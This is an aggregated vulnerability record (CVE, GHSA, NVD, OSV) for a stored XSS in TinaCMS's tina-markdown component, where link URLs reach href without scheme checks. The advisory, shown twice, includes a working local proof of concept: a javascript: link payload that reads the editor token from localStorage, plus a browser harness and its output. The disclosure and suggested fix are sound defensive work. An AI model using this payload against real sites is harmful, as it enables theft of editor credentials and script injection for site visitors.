{"id":"CVE-2026-108260","aliases":["EUVD-2026-95989","GHSA-c42q-qvc3-j6vg"],"status":"published","title":"@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS","description":"Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL scheme. A content author can store a link using a script-capable scheme, and a visitor who clicks the rendered link executes attacker-controlled script in the site's origin. The script can access same-origin application data and, when the visitor is an editor or administrator, may expose credentials stored by the TinaCMS admin on that origin. This issue is fixed in version 0.2.1.","severity":{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00254,"percentile":0.17046,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79","CWE-83"],"published":"2026-10-09T20:40:37Z","modified":"2026-10-28T02:31:05Z","fixes":[{"ecosystem":"npm","package":"@tinacms/web-components","fixed_in":["0.2.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@tinacms/web-components","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.2.0"},{"fixed":"0.2.1"}]}]},{"source":"osv","ecosystem":"npm","package":"@tinacms/web-components","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.2.1"}]}]}],"products":[{"vendor":"@tinacms","product":"web-components"},{"vendor":"tinacms","product":"tinacms"}],"references":[{"url":"https://github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/tinacms/tinacms/pull/7523","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-c42q-qvc3-j6vg"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/108xxx/CVE-2026-108260.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108260","tags":["advisory"]},{"url":"https://github.com/tinacms/tinacms","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-108260","title":"@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS","description":"Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL scheme. A content author can store a link using a script-capable scheme, and a visitor who clicks the rendered link executes attacker-controlled script in the site's origin. The script can access same-origin application data and, when the visitor is an editor or administrator, may expose credentials stored by the TinaCMS admin on that origin. This issue is fixed in version 0.2.1.","status":"published","published":"2026-10-09T20:40:37.228Z","modified":"2026-10-13T15:17:14.297Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79","CWE-83"],"updated_at":"2026-11-02T14:20:10.143031Z"}],"euvd":[{"id":"EUVD-2026-95989","description":"Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL scheme. A content author can store a link using a script-capable scheme, and a visitor who clicks the rendered link executes attacker-controlled script in the site's origin. The script can access same-origin application data and, when the visitor is an editor or administrator, may expose credentials stored by the TinaCMS admin on that origin. This issue is fixed in version 0.2.1.","status":"published","published":"2026-10-09T20:40:37Z","modified":"2026-10-13T15:17:14Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T17:27:20.397021Z"}],"ghsa":[{"id":"GHSA-c42q-qvc3-j6vg","title":"@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS","description":"### Summary\n\n`\u003ctina-markdown\u003e` renders a rich-text AST into the DOM and, for `a` nodes, assigns the node's URL straight to the anchor's `href` with no scheme check. A link authored in the CMS as `javascript:…` renders as a live `javascript:` anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.\n\n### Details\n\nThe unvalidated sink:\n\n```\npackages/@tinacms/web-components/src/tina-markdown.js:67-69\n  if (node.type === 'html' || node.type === 'html_inline') {\n    return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });\n  }\npackages/@tinacms/web-components/src/tina-markdown.js:75    if (node.url \u0026\u0026 node.type === 'a') el.href = node.url;\npackages/@tinacms/web-components/src/tina-markdown.js:76    if (node.url \u0026\u0026 node.type === 'img') el.src = node.url;\n```\n\n`node.url` comes from the `content` attribute the site populates from the TinaCMS content API (`:169-176`), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at `:68` handles only raw-HTML node values and returns before the anchor branch, so it never inspects `node.url`. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The `mode: 'open'` shadow root (`:164-167`) provides no script isolation.\n\nThe guard that exists in every sibling renderer:\n\n```\npackages/@tinacms/mdx/src/sanitize-url.ts:10          allowedSchemes = ['http','https','mailto','tel','xref']\npackages/tinacms/src/rich-text/index.tsx:335            \u003ca href={sanitizeUrl(child.url)}\u003e\npackages/tinacms/src/rich-text/index.tsx:322            \u003cimg src={sanitizeUrl(child.url)} .../\u003e\npackages/tinacms/src/rich-text/static.tsx:254           \u003ca href={sanitizeUrl(child.url)}\u003e\npackages/tinacms/src/rich-text/static.tsx:242           \u003cimg src={sanitizeUrl(child.url)} .../\u003e\npackages/@tinacms/astro/src/LinkNode.astro:19           \u003ca href={sanitizeHref(node.url)}\u003e\npackages/@tinacms/astro/src/ImageNode.astro:16          \u003cimg src={sanitizeImageSrc(node.url)} .../\u003e\n```\n\n`tina-markdown.js:75` is the only rich-text link sink in the repository that omits it — six of seven sanitize.\n\nThat this is an oversight rather than intent: the `0.2.0` changelog entry states the goal of \"matching the `components` prop on the React and Astro renderers\" while adding DOMPurify for `html` nodes, and `packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96` only asserts that an `https://example.com` link renders — no scheme case is covered either way.\n\nDefault-enabled: `customElements.define('tina-markdown', TinaMarkdown)` runs at module scope (`:179`); importing the published entry point is the whole setup, with no option object or sanitizer setting.\n\nSuggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation:\n\n```js\nimport { sanitizeUrl } from '@tinacms/mdx/sanitize-url';\nif (node.url \u0026\u0026 node.type === 'a') el.href = sanitizeUrl(node.url);\nif (node.url \u0026\u0026 node.type === 'img') el.src = sanitizeUrl(node.url);\n```\n\nVariant with the same root cause and the same fix: `:76` (`img.src`). A `javascript:` URL does not execute from `img.src`, so it is not scored here, but the line has no validation either — which is why `@tinacms/astro` carries a separate `sanitizeImageSrc`.\n\n### PoC\n\nSafe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads `tina-markdown.js` byte-for-byte from the checkout (bundled with its declared `dompurify` dependency) and also exposes the repository's own `sanitizeUrl` so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.\n\nEnvironment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`.\n\n**Setup**\n\n```bash\ngit clone https://github.com/tinacms/tinacms.git tinacms-poc\ncd tinacms-poc \u0026\u0026 git checkout 0d38acfdd23143384b8787d5d772b713fa7af163\nREPO=$PWD\n\nmkdir -p /tmp/tina-tm/site \u0026\u0026 cd /tmp/tina-tm\nnpm init -y \u003e/dev/null\nnpm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0\n\ncp \"$REPO/packages/@tinacms/web-components/src/tina-markdown.js\" ./tina-markdown.js\ncp \"$REPO/packages/@tinacms/mdx/src/sanitize-url.ts\"             ./sanitize-url.ts\n```\n\n`entry.js`:\n\n```js\nimport './tina-markdown.js';                       // registers \u003ctina-markdown\u003e\nimport { sanitizeUrl } from './sanitize-url.ts';   // the canonical guard, for the control\nwindow.__sanitizeUrl = sanitizeUrl;\n```\n\n`site/index.html` — the AST is what `@tinacms/graphql` returns for the markdown source `[click me](javascript:…)`:\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003chead\u003e\u003ctitle\u003epublic site rendering CMS rich-text\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eSite page\u003c/h1\u003e\n\u003cdiv id=\"host\"\u003e\u003c/div\u003e\n\u003cscript type=\"module\" src=\"/bundle.js\"\u003e\u003c/script\u003e\n\u003cscript type=\"module\"\u003e\n  const ast = {\n    type: 'root',\n    children: [\n      { type: 'p', children: [\n        { type: 'a',\n          url: \"javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0\",\n          children: [{ type: 'text', text: 'click me' }] }\n      ]}\n    ]\n  };\n  // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and\n  // value are written by packages/tinacms/src/internalClient/authProvider.ts:117.\n  localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');\n  const el = document.createElement('tina-markdown');\n  el.setAttribute('content', JSON.stringify(ast));\n  document.getElementById('host').appendChild(el);\n  window.__ready = true;\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n`run.cjs`:\n\n```js\nconst http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');\nconst PORT=8811, DIR=path.join(__dirname,'site');\nconst srv=http.createServer((req,res)=\u003e{const p=req.url==='/'?'/index.html':req.url.split('?')[0];\n const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}\n res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});\n res.end(fs.readFileSync(f));});\n(async()=\u003e{await new Promise(r=\u003esrv.listen(PORT,'127.0.0.1',r));\n const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});\n const page=await browser.newPage();\n await page.goto(`http://127.0.0.1:${PORT}/`);\n await page.waitForFunction(()=\u003ewindow.__ready===true); await page.waitForTimeout(300);\n const rendered=await page.evaluate(()=\u003e{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');\n   return {hrefAttr:a\u0026\u0026a.getAttribute('href')};});\n await page.evaluate(()=\u003edocument.querySelector('tina-markdown').shadowRoot.querySelector('a').click());\n await page.waitForTimeout(500);\n const pwned=await page.evaluate(()=\u003ewindow.__pwned||null);\n const control=await page.evaluate(()=\u003ewindow.__sanitizeUrl(\"javascript:window.__pwned = document.domain\"));\n console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,\n   capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));\n await browser.close(); srv.close();})();\n```\n\n**Run**\n\n```bash\ncd /tmp/tina-tm\nnpx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts\nnode run.cjs\n```\n\n**Observed output (captured verbatim)**\n\n```json\n{\n  \"renderedAnchorHref\": \"javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0\",\n  \"scriptExecutedOnClick\": true,\n  \"capturedByPayload\": \"127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN\",\n  \"control_sanitizeUrl_output\": \"\"\n}\n```\n\nExpected vulnerable output — `renderedAnchorHref` is the attacker-supplied `javascript:` string unchanged (no scheme validation at the sink), `scriptExecutedOnClick` is `true`, and `capturedByPayload` contains the page's own domain plus the value read out of `localStorage['tinacms-auth']` (script ran in the site origin with full read access to that origin's storage). All held.\n\nControl — `control_sanitizeUrl_output` is `\"\"`. The repository's own `sanitizeUrl`, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what `packages/tinacms/src/rich-text/index.tsx:335` and `packages/@tinacms/astro/src/LinkNode.astro:19` do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness.\n\nSecond control, internal to the same file: an `html` node carrying `\u003ca href=\"javascript:alert(1)\"\u003ex\u003c/a\u003e` is stripped by the DOMPurify call at `:68`, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not.\n\n**Cleanup**\n\n```bash\nrm -rf /tmp/tina-tm\n```\n\nThe PoC was re-run after this report was drafted; the JSON above is that run.\n\n### Impact\n\nStored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor's browser session on the site's origin. Because TinaCMS's documented layout serves the admin from the same origin (`public/admin/`) and stores the editor token in `localStorage` under `tinacms-auth` (`packages/tinacms/src/auth/authenticate.ts:5`, written at `packages/tinacms/src/internalClient/authProvider.ts:117`), a clicking visitor who is themselves an editor or administrator exposes that credential — the PoC reads it.\n\nImpacted: any site rendering TinaCMS rich-text through `\u003ctina-markdown\u003e`. That component exists precisely for non-React sites, i.e. the deployments that do not get `tinacms`'s sanitized React renderer.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R\u0026D)","status":"published","published":"2026-10-09T20:56:45Z","modified":"2026-10-09T20:56:46Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79","CWE-83"],"updated_at":"2026-11-02T14:41:31.175024Z"}],"nvd":[{"id":"CVE-2026-108260","description":"Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL scheme. A content author can store a link using a script-capable scheme, and a visitor who clicks the rendered link executes attacker-controlled script in the site's origin. The script can access same-origin application data and, when the visitor is an editor or administrator, may expose credentials stored by the TinaCMS admin on that origin. This issue is fixed in version 0.2.1.","status":"published","published":"2026-10-09T21:17:04.18Z","modified":"2026-10-16T20:04:29.76Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-79","CWE-83"],"updated_at":"2026-11-02T14:12:55.473789Z"}],"osv":[{"id":"CVE-2026-108260","title":"@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS","description":"Tina is a headless content management system. Prior to 0.2.1, the tina-markdown element in packages/@tinacms/web-components/src/tina-markdown.js assigns a rich-text node.url value directly to an anchor href without validating the URL scheme. A content author can store a link using a script-capable scheme, and a visitor who clicks the rendered link executes attacker-controlled script in the site's origin. The script can access same-origin application data and, when the visitor is an editor or administrator, may expose credentials stored by the TinaCMS admin on that origin. This issue is fixed in version 0.2.1.","status":"published","published":"2026-10-09T20:40:37.228Z","modified":"2026-10-28T02:31:05.67668794Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79","CWE-83"],"updated_at":"2026-11-02T15:44:54.933106Z"},{"id":"GHSA-c42q-qvc3-j6vg","title":"@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS","description":"### Summary\n\n`\u003ctina-markdown\u003e` renders a rich-text AST into the DOM and, for `a` nodes, assigns the node's URL straight to the anchor's `href` with no scheme check. A link authored in the CMS as `javascript:…` renders as a live `javascript:` anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.\n\n### Details\n\nThe unvalidated sink:\n\n```\npackages/@tinacms/web-components/src/tina-markdown.js:67-69\n  if (node.type === 'html' || node.type === 'html_inline') {\n    return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });\n  }\npackages/@tinacms/web-components/src/tina-markdown.js:75    if (node.url \u0026\u0026 node.type === 'a') el.href = node.url;\npackages/@tinacms/web-components/src/tina-markdown.js:76    if (node.url \u0026\u0026 node.type === 'img') el.src = node.url;\n```\n\n`node.url` comes from the `content` attribute the site populates from the TinaCMS content API (`:169-176`), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at `:68` handles only raw-HTML node values and returns before the anchor branch, so it never inspects `node.url`. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The `mode: 'open'` shadow root (`:164-167`) provides no script isolation.\n\nThe guard that exists in every sibling renderer:\n\n```\npackages/@tinacms/mdx/src/sanitize-url.ts:10          allowedSchemes = ['http','https','mailto','tel','xref']\npackages/tinacms/src/rich-text/index.tsx:335            \u003ca href={sanitizeUrl(child.url)}\u003e\npackages/tinacms/src/rich-text/index.tsx:322            \u003cimg src={sanitizeUrl(child.url)} .../\u003e\npackages/tinacms/src/rich-text/static.tsx:254           \u003ca href={sanitizeUrl(child.url)}\u003e\npackages/tinacms/src/rich-text/static.tsx:242           \u003cimg src={sanitizeUrl(child.url)} .../\u003e\npackages/@tinacms/astro/src/LinkNode.astro:19           \u003ca href={sanitizeHref(node.url)}\u003e\npackages/@tinacms/astro/src/ImageNode.astro:16          \u003cimg src={sanitizeImageSrc(node.url)} .../\u003e\n```\n\n`tina-markdown.js:75` is the only rich-text link sink in the repository that omits it — six of seven sanitize.\n\nThat this is an oversight rather than intent: the `0.2.0` changelog entry states the goal of \"matching the `components` prop on the React and Astro renderers\" while adding DOMPurify for `html` nodes, and `packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96` only asserts that an `https://example.com` link renders — no scheme case is covered either way.\n\nDefault-enabled: `customElements.define('tina-markdown', TinaMarkdown)` runs at module scope (`:179`); importing the published entry point is the whole setup, with no option object or sanitizer setting.\n\nSuggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation:\n\n```js\nimport { sanitizeUrl } from '@tinacms/mdx/sanitize-url';\nif (node.url \u0026\u0026 node.type === 'a') el.href = sanitizeUrl(node.url);\nif (node.url \u0026\u0026 node.type === 'img') el.src = sanitizeUrl(node.url);\n```\n\nVariant with the same root cause and the same fix: `:76` (`img.src`). A `javascript:` URL does not execute from `img.src`, so it is not scored here, but the line has no validation either — which is why `@tinacms/astro` carries a separate `sanitizeImageSrc`.\n\n### PoC\n\nSafe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads `tina-markdown.js` byte-for-byte from the checkout (bundled with its declared `dompurify` dependency) and also exposes the repository's own `sanitizeUrl` so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.\n\nEnvironment used: Linux, Node v22.23.1, Google Chrome (`/usr/bin/google-chrome`) driven by `playwright@1.49.0`.\n\n**Setup**\n\n```bash\ngit clone https://github.com/tinacms/tinacms.git tinacms-poc\ncd tinacms-poc \u0026\u0026 git checkout 0d38acfdd23143384b8787d5d772b713fa7af163\nREPO=$PWD\n\nmkdir -p /tmp/tina-tm/site \u0026\u0026 cd /tmp/tina-tm\nnpm init -y \u003e/dev/null\nnpm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0\n\ncp \"$REPO/packages/@tinacms/web-components/src/tina-markdown.js\" ./tina-markdown.js\ncp \"$REPO/packages/@tinacms/mdx/src/sanitize-url.ts\"             ./sanitize-url.ts\n```\n\n`entry.js`:\n\n```js\nimport './tina-markdown.js';                       // registers \u003ctina-markdown\u003e\nimport { sanitizeUrl } from './sanitize-url.ts';   // the canonical guard, for the control\nwindow.__sanitizeUrl = sanitizeUrl;\n```\n\n`site/index.html` — the AST is what `@tinacms/graphql` returns for the markdown source `[click me](javascript:…)`:\n\n```html\n\u003c!doctype html\u003e\u003chtml\u003e\u003chead\u003e\u003ctitle\u003epublic site rendering CMS rich-text\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eSite page\u003c/h1\u003e\n\u003cdiv id=\"host\"\u003e\u003c/div\u003e\n\u003cscript type=\"module\" src=\"/bundle.js\"\u003e\u003c/script\u003e\n\u003cscript type=\"module\"\u003e\n  const ast = {\n    type: 'root',\n    children: [\n      { type: 'p', children: [\n        { type: 'a',\n          url: \"javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0\",\n          children: [{ type: 'text', text: 'click me' }] }\n      ]}\n    ]\n  };\n  // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and\n  // value are written by packages/tinacms/src/internalClient/authProvider.ts:117.\n  localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');\n  const el = document.createElement('tina-markdown');\n  el.setAttribute('content', JSON.stringify(ast));\n  document.getElementById('host').appendChild(el);\n  window.__ready = true;\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n`run.cjs`:\n\n```js\nconst http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');\nconst PORT=8811, DIR=path.join(__dirname,'site');\nconst srv=http.createServer((req,res)=\u003e{const p=req.url==='/'?'/index.html':req.url.split('?')[0];\n const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}\n res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});\n res.end(fs.readFileSync(f));});\n(async()=\u003e{await new Promise(r=\u003esrv.listen(PORT,'127.0.0.1',r));\n const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});\n const page=await browser.newPage();\n await page.goto(`http://127.0.0.1:${PORT}/`);\n await page.waitForFunction(()=\u003ewindow.__ready===true); await page.waitForTimeout(300);\n const rendered=await page.evaluate(()=\u003e{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');\n   return {hrefAttr:a\u0026\u0026a.getAttribute('href')};});\n await page.evaluate(()=\u003edocument.querySelector('tina-markdown').shadowRoot.querySelector('a').click());\n await page.waitForTimeout(500);\n const pwned=await page.evaluate(()=\u003ewindow.__pwned||null);\n const control=await page.evaluate(()=\u003ewindow.__sanitizeUrl(\"javascript:window.__pwned = document.domain\"));\n console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,\n   capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));\n await browser.close(); srv.close();})();\n```\n\n**Run**\n\n```bash\ncd /tmp/tina-tm\nnpx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts\nnode run.cjs\n```\n\n**Observed output (captured verbatim)**\n\n```json\n{\n  \"renderedAnchorHref\": \"javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0\",\n  \"scriptExecutedOnClick\": true,\n  \"capturedByPayload\": \"127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN\",\n  \"control_sanitizeUrl_output\": \"\"\n}\n```\n\nExpected vulnerable output — `renderedAnchorHref` is the attacker-supplied `javascript:` string unchanged (no scheme validation at the sink), `scriptExecutedOnClick` is `true`, and `capturedByPayload` contains the page's own domain plus the value read out of `localStorage['tinacms-auth']` (script ran in the site origin with full read access to that origin's storage). All held.\n\nControl — `control_sanitizeUrl_output` is `\"\"`. The repository's own `sanitizeUrl`, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what `packages/tinacms/src/rich-text/index.tsx:335` and `packages/@tinacms/astro/src/LinkNode.astro:19` do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness.\n\nSecond control, internal to the same file: an `html` node carrying `\u003ca href=\"javascript:alert(1)\"\u003ex\u003c/a\u003e` is stripped by the DOMPurify call at `:68`, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not.\n\n**Cleanup**\n\n```bash\nrm -rf /tmp/tina-tm\n```\n\nThe PoC was re-run after this report was drafted; the JSON above is that run.\n\n### Impact\n\nStored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor's browser session on the site's origin. Because TinaCMS's documented layout serves the admin from the same origin (`public/admin/`) and stores the editor token in `localStorage` under `tinacms-auth` (`packages/tinacms/src/auth/authenticate.ts:5`, written at `packages/tinacms/src/internalClient/authProvider.ts:117`), a clicking visitor who is themselves an editor or administrator exposes that credential — the PoC reads it.\n\nImpacted: any site rendering TinaCMS rich-text through `\u003ctina-markdown\u003e`. That component exists precisely for non-React sites, i.e. the deployments that do not get `tinacms`'s sanitized React renderer.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R\u0026D)","status":"published","published":"2026-10-09T20:56:45Z","modified":"2026-10-09T21:15:04.363433366Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79","CWE-83"],"updated_at":"2026-11-02T15:46:44.571161Z"}]}}
